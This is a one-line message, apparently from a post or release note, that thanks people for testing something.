Many thanks to the folks testing!